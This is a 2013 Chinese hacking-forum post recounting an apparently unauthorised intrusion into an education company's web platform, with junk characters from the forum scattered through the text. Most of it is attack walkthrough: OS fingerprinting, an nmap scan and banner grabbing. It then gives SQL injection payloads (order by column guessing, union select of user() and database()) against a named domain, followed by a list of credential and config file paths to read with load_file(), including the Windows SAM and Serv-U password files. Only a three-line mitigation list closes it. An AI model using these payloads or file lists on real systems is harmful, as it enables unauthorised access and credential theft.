找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2205|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:
# p" r: K/ ^  o一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
% x- B& b. T3 h! V2 `7 p3 M第一步:获取需要的信息
8 P  J4 T( e) c3 b7 N6 H6 k由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。$ t* Z3 ^5 C* D& Y% `, S& A! ~
注:以下为保护特用XXX代替敏感信息
8 r( h& t# [4 E! u* t* F4 u顺手先PING了一下他们的域名:- A& s+ x+ @7 F6 f( P
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)$ W- Y2 Y0 D6 D" M4 X
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms9 a3 E" G% b5 P8 V, m
顺便了解一下TTL,学好基础知识才能一路顺风:
  E/ w! t5 \- H3 M) DTTL:(Time To Live ) 生存时间+ {5 ]  Y7 q* \# {1 f! D) d
指定数据包被路由器丢弃之前允许通过的网段数量。& N4 x/ Z4 a# d* q
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。9 F1 T9 ]! t) l+ A' @  I- r
使用PING时涉及到的 ICMP 报文类型
4 d: X- r; s+ z$ g一个为ICMP请求回显(ICMP Echo Request)/ P) L. Z( L& p3 Z0 l
一个为ICMP回显应答(ICMP Echo Reply)
5 h1 z6 T$ r! yTTL 字段值可以帮助我们识别操作系统类型。8 ~2 {# {: U- I4 ^4 r
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2553 O7 |. v$ O4 m; s- P' D
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64) ^1 w0 G8 [2 j) O# D+ x2 S
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
# U  \" I6 ?0 t/ w微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 326 E- P, C+ W6 M/ k/ Z, n
当然,返回的TTL值是相同的' l2 U8 ~/ y  i, k
但有些情况下有所特殊
  p1 K0 l: M6 t$ w) O' zLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64) ~+ ]) c" m- Q5 V2 Y0 v
FreeBSD 4.1, 4.0, 3.4;
! s  Z/ x: {/ e5 R1 O' {4 u+ ~Sun Solaris 2.5.1, 2.6, 2.7, 2.8;* A1 O- R- V8 v- D
OpenBSD 2.6, 2.7,3 Z; S- g2 i( h8 ]
NetBSD
) e1 h" Z+ w( X, U- m) z7 ?HP UX 10.20
" ?  @3 }3 ]7 \ICMP 回显应答的 TTL 字段值为 255
% [9 H/ a/ d4 K6 d' FWindows 95/98/98SE
7 ?0 {. p7 n& d6 ]& k, k8 @Windows ME  O5 r5 s8 H* M3 N
ICMP 回显应答的 TTL 字段值为 32: H0 C' y, T5 u$ q
Windows NT4 WRKS+ I( @8 [/ i' v% F
Windows NT4 Server
+ C$ U2 O6 k, pWindows 2000# ^: r$ b8 p3 P3 T5 O5 m+ B+ x; W6 E
Windows XP) h1 x+ l4 Y% \. }, a, _
ICMP 回显应答的 TTL 字段值为 128$ P7 V6 ?/ j7 I% K
这样,我们就可以通过这种方法来辨别操作系统
% O1 y+ W  E4 s# m  j  XTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
, `+ v0 r+ k1 f. P用NMAP扫描一下:) M  I" j6 z5 V9 r; T5 j
nmap -sT -O XXX.XXX.XXX.XXX. ^; \$ {0 |. C9 Q
如果没有装WinPcap则会弹出提示:
1 D0 q) D0 X3 x9 fWARNING: Could not import all necessary WinPcap functions.  You may need to upgr  L  t. J5 M' f3 a4 \. O/ [
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
( j/ N% A) y5 T4 @5 X. |- U) mode — Nmap may not function completely
2 S" s3 }( f% Z+ T4 s( oTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
- N3 w  Z- p! M( B; W( Band iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
" p5 q) f  o+ e; S" m" w# U' Opcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
+ b0 I7 _' R; e- ]" I- L1 N& Td later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
( f4 i' _! X& a& ^! g9 ~ersions, you may be able to take iphlpapi.dll from another system and place it i% H, J* F& Y+ m) l# K9 i9 g% P: U3 b' N
n your system32 dir (e.g. c:\windows\system32).' v6 O8 s' ?& ~% `# |4 w
QUITTING!
8 `1 v( j  {0 I- w' I' V到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe1 K: q, q& x3 I' ?( K2 f
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
& e" q" q4 e4 U9 @Interesting ports on XXX.XXX.XXX.XXX:
4 w) l$ K: N2 m- v+ k- C" HNot shown: 986 closed ports
' t6 \  ~, n0 S! gPORT     STATE    SERVICE
1 k0 M8 ?2 d2 e& L; ]% T3 c7 \21/tcp   open     ftp6 i7 s. S% @: E* j: R& V5 P: [
22/tcp   open     ssh
8 v* L9 {5 t" e4 ~) j23/tcp   open     telnet
& @5 T3 M# C, V1 j+ f8 k5 M80/tcp   open     http
% E9 @& h3 ]8 E. d" }" i8 {+ A111/tcp  open     rpcbind$ X: }# ^0 _* d- d* a/ J4 e
135/tcp  filtered msrpc
" V- g7 t$ V7 C# z139/tcp  filtered netbios-ssn% S. ?; u" o7 r8 a
445/tcp  filtered microsoft-ds7 O1 O7 i  s5 Y8 \' m8 F
513/tcp  open     login: r+ U+ F0 T+ O9 j4 Z/ D$ [
514/tcp  open     shell: z7 H2 m+ h1 [6 I. q5 R8 D
593/tcp  filtered http-rpc-epmap
% v" K0 Z0 v: d, C' M' R1720/tcp filtered H.323/Q.931! H0 x" t7 P( U" u! ]5 |
3306/tcp open     mysql
0 q: N+ T2 j1 A4444/tcp filtered krb524
2 F9 d5 X- a9 X) R9 o4 [: UDevice type: WAP4 z6 {$ l. y) e% d$ J- e. n( R
Running: Linux 2.4.X
" L& c- k1 j: m. ]1 EOS details: DD-WRT (Linux 2.4.35s)2 Q# T5 w% E# x0 Z& n2 ]6 u
Network Distance: 13 hops
' A* z( J; k7 f看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
+ q/ `2 G; z/ t( `! [5 Dlogin as:
# a; X- V: J7 }# x, RTelnet23端口也是开着的,用telnet 命令链接一下:
' N8 A! Q5 e* s- H- N, N  y0 ]telnet XXX.XXX.XXX.XXX  F4 E" O7 l$ X/ E7 U2 y- V0 D
提示:% O$ y* K( D8 a
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
' y; \+ o) N9 N9 B4 q, cKernel 2.6.18-92.el5PAE on an i686
0 G) G; i! e4 T8 E4 nlogin:  w& A: _4 P3 n- L
获取HTTP头信息:  b0 X8 {+ t! H: J' T" k* I
在本地执行如下PHP代码
9 N4 L# G: V$ e3 Y/ k<?php: {- \: E7 a$ s1 c
$url = ‘XXX.XXX.XXX.XXX’;" u9 J2 O9 W# e8 h6 A
print_r(get_headers($url));1 O7 B5 ^  o! M# B
print_r(get_headers($url, 1));% |0 O% v3 a  l# J
?>; d; b* |2 m  E; a
将以上代码保存为PHP文件,执行:: Y% @: X0 r8 u  ^- N* s3 r
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
+ n1 K; m( d) ~, {. ]现在可以得出结论:
* m7 ?+ X8 P* X9 s; d系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)( E) Q  r" P0 e
内核版本:Kernel 2.6.18-92.el5PAE on an i686$ k: S% A2 r6 T+ O+ b/ i
WEB服务器版本:nginx/0.7.61. y" {4 M$ h; o3 i' S) ~. ]
第二步,开始测试寻找漏洞
3 j+ j* }+ B) p# E+ N& s分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
: m6 A/ \6 b& O/ i; s. K- f1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
4 }: r' Y+ `" u2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
- r* D, ]# d# {http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
4 d1 y) j. Z  `) D4 khttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
8 r, G2 a! C/ {0 M3 W4 w恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
' D; u: `" {' n; Z3、手工注入:
5 F9 ]9 Y) W9 s4 p5 V7 Z注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。; E  d2 r% o* z3 z
3.1 猜测当前表字段数" t& e. ~: f2 r# ^/ C" `( c
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10% Q, }) q3 L; D" [3 B  b
此处猜测有个简单的算法,都是有技巧的吗,呵呵
6 J$ h3 F/ [& n算法简单如下:0 |5 H) l& p% g! S& i$ l
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
4 W5 c8 m, \5 Z5 L3 }) j& D第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
' L- ^& G( N7 D9 _9 N; u需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。* v# z+ r* P  Q/ W) i
以此来判断,是否过界,配合取中算法猜出字段数。) b( ?/ t0 _/ f5 j
举例:
5 K7 ~- N- E: P% W0 h2 ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常. Z/ |" v. E7 `; E8 i$ c# A  t) C
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误- s8 f3 P( E) p9 n! s
此时3则为我们要找的字段数。
7 |7 ~! e% r- B& [3.2 配合union联合查询字段在页面所位置
$ c1 R6 `. H' ^* Z3 t/ @' h; z我们已经知道了字段数为3,此时则可以做如下操作:; W& D$ O. `- K3 g4 D  V$ E
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
2 I; D5 B! m, I8 b  D+ g' l- u% e! H1 ^
这样就可以测试到哪些字段在页面上有所显示了,如图:
9 [4 C; J( j5 G2 P
6 |# e/ ]0 f! ?2 G. W3 M* j3.3 查敏感信息
+ y, u1 `6 ^0 ]6 }这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
' y2 B2 Z3 b7 l/ R; e# g0 D. ]http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()( h# ?8 ?. {+ B) l8 u
3.3.1 先查数据库用户、数据库名,以备后用,如图:
2 u& K! w: O3 p$ C$ T% R
, r& P% J7 M/ R! G. Y+ v$ G得到数据库用户为root、数据库名为DBxx;
2 a& x! r- E+ o8 u3.3.2 查配置文件# ]4 K* C6 ]3 N) b. X: [) y- d
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。, z1 \; a- w, J6 I3 C# _0 @& A
查看文件有一定的条件限制:2 h+ N7 W  `( c1 H9 u
欲读取文件必须在服务器上: \2 ?8 k; I$ H+ K& J& D, k
必须指定文件完整的路径
; h; }' S4 x; B2 B1 h$ U9 Q$ ^必须有权限读取并且文件必须完全可读, u$ i; q6 r7 X; V" L; H
欲读取文件必须小于 max_allowed_packet
3 a1 i& C* a9 d( \$ y! _! SMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
5 r( G9 w; R. S; x9 }" P/ n常用的一些:6 Q4 c& J* w& v, o, K( \
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件+ Y5 E- U9 b+ q
/usr/local/apache2/conf/httpd.conf% g+ E, G# Q$ E) f4 I
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
% f: R1 R; S7 d/usr/local/app/php5/lib/php.ini //PHP相关设置
9 p+ n/ }' \) O3 L) D  H- A0 U/etc/sysconfig/iptables //从中得到防火墙规则策略, K( C. G3 t( \& s8 q! Y
/etc/httpd/conf/httpd.conf // apache配置文件; E( t& A4 C; f, N6 g
/etc/rsyncd.conf //同步程序配置文件
+ d* {+ i. @  \4 D2 v# H' F9 m4 S/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
' W  u7 e( P4 y! z( G1 }) {) ~/etc/my.cnf //mysql的配置文件
6 @5 T2 w5 J" K; }' E, ?/etc/redhat-release //系统版本
& K( \9 }5 Z2 \$ |5 k/etc/issue
% D2 I1 R# |  G. D4 }/etc/issue.net" G* _2 g# w. y8 k
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码% H! `, m3 @0 ~$ J7 d- ?
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
( ^: B; z, y0 C& n8 `; D7 _c:\Program Files\Serv-U\ServUDaemon.ini; ~; B1 }7 M# _! J9 Y# S3 V
c:\windows\my.ini //MYSQL配置文件& }6 a( C( H& K3 _0 k
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件; H& x* q1 g9 P# J+ j6 N) {) H
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,. P! P; e3 Z& A) V8 p
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
! }, B) w- P# d+ `' ]c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
) X( y1 k+ D6 v2 D  X% y* [c:\Program Files\RhinoSoft.com\ServUDaemon.exe
; h, d, x2 [; [6 m! h3 \, f3 ^C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
9 \+ k5 v' X+ r8 Z  P: [//存储了pcAnywhere的登陆密码
0 h- N8 K: X) ?$ b' ^由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
3 a# j$ ]' D: t! Y+ M这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
9 H; q  M% T  D2 L% v2 Z& |# T最后:防范措施
9 R: z5 A6 h0 m# a8 X1、修复PHP注入漏洞;# `2 `4 S+ a  X. R; |  k
2、Mysql使用普通权限的用户;4 n4 t8 C% v. W; H! i4 Y
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表